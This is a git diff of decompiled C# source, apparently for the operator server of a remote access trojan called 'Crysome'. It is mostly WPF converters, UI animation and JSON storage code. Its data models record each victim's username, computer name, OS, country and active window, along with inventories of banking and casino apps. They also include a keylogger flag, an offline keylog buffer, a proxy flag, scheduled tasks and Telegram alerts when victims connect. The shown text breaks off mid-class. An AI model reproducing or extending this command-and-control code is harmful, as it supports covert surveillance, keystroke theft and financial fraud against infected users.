initial commit
@@ -0,0 +1,6 @@
|
||||
namespace Crysome.Server.Configuration;
|
||||
|
||||
public static class ServerConfiguration
|
||||
{
|
||||
public static int Port { get; set; } = 7777;
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
using System;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Media;
|
||||
using System.Windows.Media.Animation;
|
||||
|
||||
namespace Crysome.Server.Controls;
|
||||
|
||||
[TemplatePart(Name = "PART_OldContent", Type = typeof(ContentPresenter))]
|
||||
[TemplatePart(Name = "PART_NewContent", Type = typeof(ContentPresenter))]
|
||||
public class PageTransitionControl : ContentControl
|
||||
{
|
||||
private ContentPresenter _oldContent;
|
||||
|
||||
private ContentPresenter _newContent;
|
||||
|
||||
static PageTransitionControl()
|
||||
{
|
||||
FrameworkElement.DefaultStyleKeyProperty.OverrideMetadata(typeof(PageTransitionControl), (PropertyMetadata)(object)new FrameworkPropertyMetadata((object)typeof(PageTransitionControl)));
|
||||
}
|
||||
|
||||
public override void OnApplyTemplate()
|
||||
{
|
||||
base.OnApplyTemplate();
|
||||
_oldContent = GetTemplateChild("PART_OldContent") as ContentPresenter;
|
||||
_newContent = GetTemplateChild("PART_NewContent") as ContentPresenter;
|
||||
if (_newContent != null)
|
||||
{
|
||||
_newContent.Content = base.Content;
|
||||
}
|
||||
}
|
||||
|
||||
protected override void OnContentChanged(object oldContent, object newContent)
|
||||
{
|
||||
base.OnContentChanged(oldContent, newContent);
|
||||
if (_oldContent != null && _newContent != null)
|
||||
{
|
||||
_oldContent.Content = oldContent;
|
||||
_newContent.Content = newContent;
|
||||
_oldContent.RenderTransform = new TranslateTransform();
|
||||
_newContent.RenderTransform = new TranslateTransform();
|
||||
_oldContent.Opacity = 1.0;
|
||||
_newContent.Opacity = 0.0;
|
||||
AnimateTransition();
|
||||
}
|
||||
}
|
||||
|
||||
private void AnimateTransition()
|
||||
{
|
||||
Storyboard storyboard = new Storyboard();
|
||||
TimeSpan timeSpan = TimeSpan.FromMilliseconds(300L, 0L);
|
||||
CubicEase easingFunction = new CubicEase
|
||||
{
|
||||
EasingMode = EasingMode.EaseOut
|
||||
};
|
||||
DoubleAnimation doubleAnimation = new DoubleAnimation(0.0, -50.0, timeSpan)
|
||||
{
|
||||
EasingFunction = easingFunction
|
||||
};
|
||||
DoubleAnimation doubleAnimation2 = new DoubleAnimation(1.0, 0.0, timeSpan);
|
||||
Storyboard.SetTarget((DependencyObject)(object)doubleAnimation, (DependencyObject)(object)_oldContent);
|
||||
Storyboard.SetTargetProperty((DependencyObject)(object)doubleAnimation, new PropertyPath("(UIElement.RenderTransform).(TranslateTransform.X)"));
|
||||
Storyboard.SetTarget((DependencyObject)(object)doubleAnimation2, (DependencyObject)(object)_oldContent);
|
||||
Storyboard.SetTargetProperty((DependencyObject)(object)doubleAnimation2, new PropertyPath("Opacity"));
|
||||
DoubleAnimation doubleAnimation3 = new DoubleAnimation(50.0, 0.0, timeSpan)
|
||||
{
|
||||
EasingFunction = easingFunction
|
||||
};
|
||||
DoubleAnimation doubleAnimation4 = new DoubleAnimation(0.0, 1.0, timeSpan);
|
||||
Storyboard.SetTarget((DependencyObject)(object)doubleAnimation3, (DependencyObject)(object)_newContent);
|
||||
Storyboard.SetTargetProperty((DependencyObject)(object)doubleAnimation3, new PropertyPath("(UIElement.RenderTransform).(TranslateTransform.X)"));
|
||||
Storyboard.SetTarget((DependencyObject)(object)doubleAnimation4, (DependencyObject)(object)_newContent);
|
||||
Storyboard.SetTargetProperty((DependencyObject)(object)doubleAnimation4, new PropertyPath("Opacity"));
|
||||
storyboard.Children.Add(doubleAnimation);
|
||||
storyboard.Children.Add(doubleAnimation2);
|
||||
storyboard.Children.Add(doubleAnimation3);
|
||||
storyboard.Children.Add(doubleAnimation4);
|
||||
storyboard.Begin();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.Windows;
|
||||
using System.Windows.Data;
|
||||
|
||||
namespace Crysome.Server.Converters;
|
||||
|
||||
public class BooleanToVisibilityConverter : IValueConverter
|
||||
{
|
||||
public bool Invert { get; set; }
|
||||
|
||||
public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
bool flag = default(bool);
|
||||
int num;
|
||||
if (value is bool)
|
||||
{
|
||||
flag = (bool)value;
|
||||
num = 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
num = 0;
|
||||
}
|
||||
bool flag2 = (byte)((uint)num & (flag ? 1u : 0u)) != 0;
|
||||
if (Invert)
|
||||
{
|
||||
flag2 = !flag2;
|
||||
}
|
||||
return (!flag2) ? Visibility.Collapsed : Visibility.Visible;
|
||||
}
|
||||
|
||||
public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Data;
|
||||
using System.Windows.Media.Imaging;
|
||||
|
||||
namespace Crysome.Server.Converters;
|
||||
|
||||
[ValueConversion(typeof(byte[]), typeof(BitmapImage))]
|
||||
public class ByteArrayToImageConverter : IValueConverter
|
||||
{
|
||||
public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
if (!(value is byte[] array) || array.Length == 0)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
try
|
||||
{
|
||||
BitmapImage bitmapImage = new BitmapImage();
|
||||
bitmapImage.BeginInit();
|
||||
bitmapImage.StreamSource = new MemoryStream(array);
|
||||
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||||
bitmapImage.EndInit();
|
||||
((Freezable)bitmapImage).Freeze();
|
||||
return bitmapImage;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
throw new NotSupportedException();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.Windows.Data;
|
||||
using Crysome.Common.Model;
|
||||
|
||||
namespace Crysome.Server.Converters;
|
||||
|
||||
public class FileSizeConverter : IMultiValueConverter
|
||||
{
|
||||
public object Convert(object[] values, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
//IL_000c: Unknown result type (might be due to invalid IL or missing references)
|
||||
long num = (long)values[0];
|
||||
if ((int)(FileType)values[1] == 0)
|
||||
{
|
||||
return "-";
|
||||
}
|
||||
string text = "bytes";
|
||||
long num2 = num;
|
||||
if (num >= 1000)
|
||||
{
|
||||
text = "KB";
|
||||
num2 = num / 1024;
|
||||
}
|
||||
if (num >= 1000000)
|
||||
{
|
||||
text = "MB";
|
||||
num2 = num / 1048576;
|
||||
}
|
||||
if (num >= 1000000000)
|
||||
{
|
||||
text = "GB";
|
||||
num2 = num / 1073741824;
|
||||
}
|
||||
return num2 + " " + text;
|
||||
}
|
||||
|
||||
public object[] ConvertBack(object value, Type[] targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.Windows.Data;
|
||||
using Crysome.Common.Model;
|
||||
using Crysome.Server.Resources;
|
||||
|
||||
namespace Crysome.Server.Converters;
|
||||
|
||||
[ValueConversion(typeof(FileType), typeof(string))]
|
||||
public class FileTypeConverter : IValueConverter
|
||||
{
|
||||
public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0007: Invalid comparison between Unknown and I4
|
||||
if ((int)(FileType)value != 1)
|
||||
{
|
||||
return Strings.FileType_Folder;
|
||||
}
|
||||
return Strings.FileType_File;
|
||||
}
|
||||
|
||||
public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
return (object)(FileType)(((string)value == Strings.FileType_File) ? 1 : 0);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,83 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Data;
|
||||
using System.Windows.Media.Imaging;
|
||||
|
||||
namespace Crysome.Server.Converters;
|
||||
|
||||
public class FlagConverter : IValueConverter
|
||||
{
|
||||
private static readonly Dictionary<string, BitmapImage> Cache = new Dictionary<string, BitmapImage>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
private static bool _loaded;
|
||||
|
||||
public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
if (value == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
string text = value.ToString().Trim().ToUpperInvariant();
|
||||
if (string.IsNullOrEmpty(text))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (!_loaded)
|
||||
{
|
||||
LoadAll();
|
||||
}
|
||||
if (Cache.TryGetValue(text, out var value2))
|
||||
{
|
||||
return value2;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
return DependencyProperty.UnsetValue;
|
||||
}
|
||||
|
||||
private static void LoadAll()
|
||||
{
|
||||
_loaded = true;
|
||||
string baseDirectory = AppDomain.CurrentDomain.BaseDirectory;
|
||||
string[] array = new string[2]
|
||||
{
|
||||
Path.Combine(baseDirectory, "flags"),
|
||||
baseDirectory
|
||||
};
|
||||
foreach (string path in array)
|
||||
{
|
||||
if (!Directory.Exists(path))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string[] files = Directory.GetFiles(path, "*.png");
|
||||
foreach (string text in files)
|
||||
{
|
||||
try
|
||||
{
|
||||
string text2 = Path.GetFileNameWithoutExtension(text).ToUpperInvariant();
|
||||
if (!text2.Contains("@") && text2.Length == 2 && !Cache.ContainsKey(text2))
|
||||
{
|
||||
BitmapImage bitmapImage = new BitmapImage();
|
||||
bitmapImage.BeginInit();
|
||||
bitmapImage.UriSource = new Uri(text);
|
||||
bitmapImage.DecodePixelHeight = 16;
|
||||
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||||
bitmapImage.EndInit();
|
||||
((Freezable)bitmapImage).Freeze();
|
||||
Cache[text2] = bitmapImage;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Globalization;
|
||||
using System.Linq;
|
||||
using System.Windows.Data;
|
||||
using Crysome.Server.Model;
|
||||
|
||||
namespace Crysome.Server.Converters;
|
||||
|
||||
public class InventoryDotsCollapseConverter : IMultiValueConverter
|
||||
{
|
||||
private const int CollapsedCount = 4;
|
||||
|
||||
public object Convert(object[] values, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
if (values == null || values.Length < 2)
|
||||
{
|
||||
if (values == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return values[0];
|
||||
}
|
||||
IEnumerable<InventoryDot> enumerable = values[0] as IEnumerable<InventoryDot>;
|
||||
object obj = values[1];
|
||||
bool flag = default(bool);
|
||||
int num;
|
||||
if (obj is bool)
|
||||
{
|
||||
flag = (bool)obj;
|
||||
num = 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
num = 0;
|
||||
}
|
||||
bool flag2 = (byte)((uint)num & (flag ? 1u : 0u)) != 0;
|
||||
if (enumerable == null)
|
||||
{
|
||||
return new List<InventoryDot>();
|
||||
}
|
||||
if (!flag2)
|
||||
{
|
||||
return enumerable.Take(4).ToList();
|
||||
}
|
||||
return enumerable;
|
||||
}
|
||||
|
||||
public object[] ConvertBack(object value, Type[] targetTypes, object parameter, CultureInfo culture)
|
||||
{
|
||||
throw new NotSupportedException();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.Windows.Data;
|
||||
using System.Windows.Media;
|
||||
|
||||
namespace Crysome.Server.Converters;
|
||||
|
||||
[ValueConversion(typeof(bool), typeof(Color))]
|
||||
public class InventoryPresentToColorConverter : IValueConverter
|
||||
{
|
||||
private static readonly Color Found = Color.FromRgb(111, 207, 151);
|
||||
|
||||
private static readonly Color Missing = Color.FromRgb(85, 85, 85);
|
||||
|
||||
public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
bool flag = default(bool);
|
||||
int num;
|
||||
if (value is bool)
|
||||
{
|
||||
flag = (bool)value;
|
||||
num = 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
num = 0;
|
||||
}
|
||||
return (((uint)num & (flag ? 1u : 0u)) != 0) ? Found : Missing;
|
||||
}
|
||||
|
||||
public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
throw new NotSupportedException();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.Windows.Data;
|
||||
|
||||
namespace Crysome.Server.Converters;
|
||||
|
||||
public class InventoryPresentToOpacityConverter : IValueConverter
|
||||
{
|
||||
public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
bool flag = default(bool);
|
||||
int num;
|
||||
if (value is bool)
|
||||
{
|
||||
flag = (bool)value;
|
||||
num = 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
num = 0;
|
||||
}
|
||||
return (((uint)num & (flag ? 1u : 0u)) != 0) ? 1.0 : 0.3;
|
||||
}
|
||||
|
||||
public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,126 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Globalization;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Data;
|
||||
using System.Windows.Media.Imaging;
|
||||
|
||||
namespace Crysome.Server.Converters;
|
||||
|
||||
public class OSIconConverter : IValueConverter
|
||||
{
|
||||
private static readonly Dictionary<string, BitmapImage> Cache = new Dictionary<string, BitmapImage>(StringComparer.OrdinalIgnoreCase);
|
||||
|
||||
private static bool _loaded;
|
||||
|
||||
public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
if (value == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
string text = value.ToString().Trim().ToLower();
|
||||
if (string.IsNullOrEmpty(text))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (!_loaded)
|
||||
{
|
||||
LoadAll();
|
||||
}
|
||||
if (text.Contains("windows 11") || text.Contains("server 2022"))
|
||||
{
|
||||
return GetCached("windows11");
|
||||
}
|
||||
if (text.Contains("windows 10") || text.Contains("server 2019") || text.Contains("server 2016"))
|
||||
{
|
||||
return GetCached("windows10");
|
||||
}
|
||||
if (text.Contains("8.1") || text.Contains("server 2012"))
|
||||
{
|
||||
return GetCached("windows81");
|
||||
}
|
||||
if (text.Contains("windows 8"))
|
||||
{
|
||||
return GetCached("windows81");
|
||||
}
|
||||
if (text.Contains("windows 7") || text.Contains("vista") || text.Contains("server 2008"))
|
||||
{
|
||||
return GetCached("windows7");
|
||||
}
|
||||
if (text.Contains("xp") || text.Contains("server 2003"))
|
||||
{
|
||||
return GetCached("windowsxp");
|
||||
}
|
||||
if (text.Contains("linux"))
|
||||
{
|
||||
return GetCached("linux");
|
||||
}
|
||||
if (text.Contains("windows"))
|
||||
{
|
||||
return GetCached("windows10");
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
return DependencyProperty.UnsetValue;
|
||||
}
|
||||
|
||||
private static BitmapImage GetCached(string key)
|
||||
{
|
||||
if (Cache.TryGetValue(key, out var value))
|
||||
{
|
||||
return value;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static void LoadAll()
|
||||
{
|
||||
_loaded = true;
|
||||
string baseDirectory = AppDomain.CurrentDomain.BaseDirectory;
|
||||
string[] array = new string[2]
|
||||
{
|
||||
baseDirectory,
|
||||
Path.Combine(baseDirectory, "icons")
|
||||
};
|
||||
string[] array2 = new string[6] { "windows7", "windows81", "windows10", "windows11", "windowsxp", "linux" };
|
||||
string[] array3 = array;
|
||||
foreach (string text in array3)
|
||||
{
|
||||
if (!Directory.Exists(text))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string[] array4 = array2;
|
||||
foreach (string text2 in array4)
|
||||
{
|
||||
if (Cache.ContainsKey(text2))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string text3 = Path.Combine(text, text2 + ".png");
|
||||
if (File.Exists(text3))
|
||||
{
|
||||
try
|
||||
{
|
||||
BitmapImage bitmapImage = new BitmapImage();
|
||||
bitmapImage.BeginInit();
|
||||
bitmapImage.UriSource = new Uri(text3);
|
||||
bitmapImage.DecodePixelHeight = 16;
|
||||
bitmapImage.CacheOption = BitmapCacheOption.OnLoad;
|
||||
bitmapImage.EndInit();
|
||||
((Freezable)bitmapImage).Freeze();
|
||||
Cache[text2] = bitmapImage;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
using System;
|
||||
using System.Globalization;
|
||||
using System.Windows;
|
||||
using System.Windows.Data;
|
||||
|
||||
namespace Crysome.Server.Converters;
|
||||
|
||||
public class StringToVisibilityConverter : IValueConverter
|
||||
{
|
||||
public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
return string.IsNullOrEmpty(value as string) ? Visibility.Collapsed : Visibility.Visible;
|
||||
}
|
||||
|
||||
public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
|
||||
{
|
||||
throw new NotImplementedException();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,222 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text.Json;
|
||||
|
||||
namespace Crysome.Server.Data;
|
||||
|
||||
public class AppDataStore
|
||||
{
|
||||
private static readonly string DataDir = AppDomain.CurrentDomain.BaseDirectory;
|
||||
|
||||
public ServerSettings Settings { get; set; } = new ServerSettings();
|
||||
|
||||
public Dictionary<string, string> Notes { get; set; } = new Dictionary<string, string>();
|
||||
|
||||
public HashSet<string> PinnedIPs { get; set; } = new HashSet<string>();
|
||||
|
||||
public HashSet<string> AnnounceIPs { get; set; } = new HashSet<string>();
|
||||
|
||||
public HashSet<string> BlockedIPs { get; set; } = new HashSet<string>();
|
||||
|
||||
public Dictionary<string, DateTime> MutedIPs { get; set; } = new Dictionary<string, DateTime>();
|
||||
|
||||
public Dictionary<string, string> Snippets { get; set; } = new Dictionary<string, string>();
|
||||
|
||||
public List<AutoTask> AutoTasks { get; set; } = new List<AutoTask>();
|
||||
|
||||
public Dictionary<string, bool> ContextMenuFeatures { get; set; } = new Dictionary<string, bool>();
|
||||
|
||||
public List<StoredClientRecord> Clients { get; private set; } = new List<StoredClientRecord>();
|
||||
|
||||
public void Load()
|
||||
{
|
||||
Settings = LoadServerSettings() ?? new ServerSettings();
|
||||
Notes = LoadFile<Dictionary<string, string>>("notes.json") ?? new Dictionary<string, string>();
|
||||
PinnedIPs = LoadFile<HashSet<string>>("pinned.json") ?? new HashSet<string>();
|
||||
AnnounceIPs = LoadFile<HashSet<string>>("announce.json") ?? new HashSet<string>();
|
||||
BlockedIPs = LoadFile<HashSet<string>>("blocked.json") ?? new HashSet<string>();
|
||||
MutedIPs = LoadFile<Dictionary<string, DateTime>>("muted.json") ?? new Dictionary<string, DateTime>();
|
||||
Snippets = LoadFile<Dictionary<string, string>>("snippets.json") ?? new Dictionary<string, string>();
|
||||
AutoTasks = LoadFile<List<AutoTask>>("autotasks.json") ?? new List<AutoTask>();
|
||||
ContextMenuFeatures = LoadFile<Dictionary<string, bool>>("contextmenu_features.json") ?? new Dictionary<string, bool>();
|
||||
Clients = LoadFile<List<StoredClientRecord>>("clients.json") ?? new List<StoredClientRecord>();
|
||||
List<string> list = new List<string>();
|
||||
foreach (KeyValuePair<string, DateTime> mutedIP in MutedIPs)
|
||||
{
|
||||
if (mutedIP.Value <= DateTime.Now)
|
||||
{
|
||||
list.Add(mutedIP.Key);
|
||||
}
|
||||
}
|
||||
foreach (string item in list)
|
||||
{
|
||||
MutedIPs.Remove(item);
|
||||
}
|
||||
}
|
||||
|
||||
public void SaveSettings()
|
||||
{
|
||||
SaveFile("settings.json", Settings);
|
||||
}
|
||||
|
||||
public void SaveNotes()
|
||||
{
|
||||
SaveFile("notes.json", Notes);
|
||||
}
|
||||
|
||||
public void SavePinned()
|
||||
{
|
||||
SaveFile("pinned.json", PinnedIPs);
|
||||
}
|
||||
|
||||
public void SaveAnnounce()
|
||||
{
|
||||
SaveFile("announce.json", AnnounceIPs);
|
||||
}
|
||||
|
||||
public void SaveBlocked()
|
||||
{
|
||||
SaveFile("blocked.json", BlockedIPs);
|
||||
}
|
||||
|
||||
public void SaveMuted()
|
||||
{
|
||||
SaveFile("muted.json", MutedIPs);
|
||||
}
|
||||
|
||||
public void SaveSnippets()
|
||||
{
|
||||
SaveFile("snippets.json", Snippets);
|
||||
}
|
||||
|
||||
public void SaveAutoTasks()
|
||||
{
|
||||
SaveFile("autotasks.json", AutoTasks);
|
||||
}
|
||||
|
||||
public void SaveContextMenuFeatures()
|
||||
{
|
||||
SaveFile("contextmenu_features.json", ContextMenuFeatures);
|
||||
}
|
||||
|
||||
public void SaveClients()
|
||||
{
|
||||
SaveFile("clients.json", Clients);
|
||||
}
|
||||
|
||||
public void SaveAll()
|
||||
{
|
||||
SaveSettings();
|
||||
SaveNotes();
|
||||
SavePinned();
|
||||
SaveAnnounce();
|
||||
SaveBlocked();
|
||||
SaveMuted();
|
||||
SaveSnippets();
|
||||
SaveAutoTasks();
|
||||
SaveContextMenuFeatures();
|
||||
SaveClients();
|
||||
}
|
||||
|
||||
public void UpsertClient(StoredClientRecord rec)
|
||||
{
|
||||
if (rec != null && !string.IsNullOrEmpty(rec.Address))
|
||||
{
|
||||
StoredClientRecord storedClientRecord = Clients.Find((StoredClientRecord c) => c.Address == rec.Address);
|
||||
if (storedClientRecord != null)
|
||||
{
|
||||
Clients.Remove(storedClientRecord);
|
||||
}
|
||||
Clients.Insert(0, rec);
|
||||
if (Clients.Count > 2000)
|
||||
{
|
||||
Clients.RemoveRange(2000, Clients.Count - 2000);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public StoredClientRecord FindClient(string address)
|
||||
{
|
||||
return Clients.Find((StoredClientRecord c) => string.Equals(c.Address, address, StringComparison.OrdinalIgnoreCase));
|
||||
}
|
||||
|
||||
public bool IsContextMenuFeatureEnabled(string key)
|
||||
{
|
||||
if (!ContextMenuFeatures.TryGetValue(key, out var value))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
private ServerSettings LoadServerSettings()
|
||||
{
|
||||
try
|
||||
{
|
||||
string path = Path.Combine(DataDir, "settings.json");
|
||||
if (!File.Exists(path))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
string json = File.ReadAllText(path);
|
||||
using JsonDocument jsonDocument = JsonDocument.Parse(json);
|
||||
JsonElement rootElement = jsonDocument.RootElement;
|
||||
JsonElement value;
|
||||
bool flag = rootElement.TryGetProperty("LegacyUdpPort", out value);
|
||||
bool flag2 = rootElement.TryGetProperty("QuicPort", out value);
|
||||
ServerSettings serverSettings = JsonSerializer.Deserialize<ServerSettings>(json);
|
||||
if (serverSettings == null)
|
||||
{
|
||||
return new ServerSettings();
|
||||
}
|
||||
if (flag && !flag2)
|
||||
{
|
||||
JsonElement value2;
|
||||
int quicPort = (rootElement.TryGetProperty("Port", out value2) ? value2.GetInt32() : 7777);
|
||||
JsonElement value3;
|
||||
int port = (rootElement.TryGetProperty("LegacyUdpPort", out value3) ? value3.GetInt32() : 7778);
|
||||
serverSettings.Port = port;
|
||||
serverSettings.QuicPort = quicPort;
|
||||
}
|
||||
return serverSettings;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private T LoadFile<T>(string filename) where T : class
|
||||
{
|
||||
try
|
||||
{
|
||||
string path = Path.Combine(DataDir, filename);
|
||||
if (!File.Exists(path))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return JsonSerializer.Deserialize<T>(File.ReadAllText(path));
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private void SaveFile<T>(string filename, T data)
|
||||
{
|
||||
try
|
||||
{
|
||||
string path = Path.Combine(DataDir, filename);
|
||||
JsonSerializerOptions options = new JsonSerializerOptions
|
||||
{
|
||||
WriteIndented = true
|
||||
};
|
||||
File.WriteAllText(path, JsonSerializer.Serialize(data, options));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
namespace Crysome.Server.Data;
|
||||
|
||||
public class AutoTask
|
||||
{
|
||||
public string Kind { get; set; } = "";
|
||||
|
||||
public string Param { get; set; } = "";
|
||||
|
||||
public string Time { get; set; } = "Always";
|
||||
|
||||
public string Date { get; set; } = "Always";
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
namespace Crysome.Server.Data;
|
||||
|
||||
public class ServerSettings
|
||||
{
|
||||
public int Port { get; set; } = 7777;
|
||||
|
||||
public int QuicPort { get; set; } = 7778;
|
||||
|
||||
public bool KeepAlive { get; set; } = true;
|
||||
|
||||
public int KeepAliveInterval { get; set; } = 15000;
|
||||
|
||||
public int InfoPollInterval { get; set; } = 3000;
|
||||
|
||||
public int MaxEndpoints { get; set; }
|
||||
|
||||
public int MaxSendFileSizeMB { get; set; } = 150;
|
||||
|
||||
public bool NotifyConnect { get; set; } = true;
|
||||
|
||||
public bool NotifyDisconnect { get; set; } = true;
|
||||
|
||||
public bool LogPaused { get; set; }
|
||||
|
||||
public bool LogToFile { get; set; }
|
||||
|
||||
public bool TelegramEnabled { get; set; }
|
||||
|
||||
public string TelegramToken { get; set; } = "";
|
||||
|
||||
public string TelegramChatId { get; set; } = "";
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System;
|
||||
|
||||
namespace Crysome.Server.Data;
|
||||
|
||||
public class StoredClientRecord
|
||||
{
|
||||
public string Address { get; set; } = "";
|
||||
|
||||
public int Port { get; set; }
|
||||
|
||||
public string UserName { get; set; } = "";
|
||||
|
||||
public string ComputerName { get; set; } = "";
|
||||
|
||||
public string OS { get; set; } = "";
|
||||
|
||||
public string CountryCode { get; set; } = "";
|
||||
|
||||
public string Group { get; set; } = "";
|
||||
|
||||
public string Notes { get; set; } = "";
|
||||
|
||||
public bool IsPinned { get; set; }
|
||||
|
||||
public DateTime LastSeen { get; set; } = DateTime.MinValue;
|
||||
|
||||
public string AppsInventoryJson { get; set; } = "";
|
||||
|
||||
public string BankInventoryJson { get; set; } = "";
|
||||
|
||||
public string CasinoInventoryJson { get; set; } = "";
|
||||
}
|
||||
@@ -0,0 +1,505 @@
|
||||
using System;
|
||||
using System.Collections.ObjectModel;
|
||||
using System.ComponentModel;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Text;
|
||||
using System.Text.Json;
|
||||
using System.Windows.Media.Imaging;
|
||||
using Crysome.Common.Network;
|
||||
|
||||
namespace Crysome.Server.Model;
|
||||
|
||||
public class ClientInfo : INotifyPropertyChanged
|
||||
{
|
||||
private string _identifier = "";
|
||||
|
||||
private string _address = "";
|
||||
|
||||
private int _port;
|
||||
|
||||
private string _username = "";
|
||||
|
||||
private string _computerName = "";
|
||||
|
||||
private string _os = "";
|
||||
|
||||
private string _activeWindow = "";
|
||||
|
||||
private string _uptime = "";
|
||||
|
||||
private string _countryCode = "";
|
||||
|
||||
private BitmapImage _flagImage;
|
||||
|
||||
private string _group = "";
|
||||
|
||||
private string _gpu = "";
|
||||
|
||||
private string _notes = "";
|
||||
|
||||
private bool _proxyActive;
|
||||
|
||||
private int _pingValue;
|
||||
|
||||
private bool _isPinned;
|
||||
|
||||
private bool _isAnnounce;
|
||||
|
||||
private bool _isMuted;
|
||||
|
||||
private DateTime _muteUntil;
|
||||
|
||||
private int[] _pingSamples = new int[4];
|
||||
|
||||
private int _pingSampleIdx;
|
||||
|
||||
private int _pingSampleCount;
|
||||
|
||||
private string _appsInventoryJson = "";
|
||||
|
||||
private string _bankInventoryJson = "";
|
||||
|
||||
private string _casinoInventoryJson = "";
|
||||
|
||||
private bool _keyloggerActive;
|
||||
|
||||
private readonly StringBuilder _offlineKeylogBuffer = new StringBuilder();
|
||||
|
||||
public CrysomeClient Owner { get; set; }
|
||||
|
||||
public string SessionId { get; set; }
|
||||
|
||||
public DateTime ConnectTime { get; set; }
|
||||
|
||||
public string Identifier
|
||||
{
|
||||
get
|
||||
{
|
||||
return _identifier;
|
||||
}
|
||||
set
|
||||
{
|
||||
_identifier = value;
|
||||
Notify("Identifier");
|
||||
}
|
||||
}
|
||||
|
||||
public string Address
|
||||
{
|
||||
get
|
||||
{
|
||||
return _address;
|
||||
}
|
||||
set
|
||||
{
|
||||
_address = value;
|
||||
Notify("Address");
|
||||
}
|
||||
}
|
||||
|
||||
public int Port
|
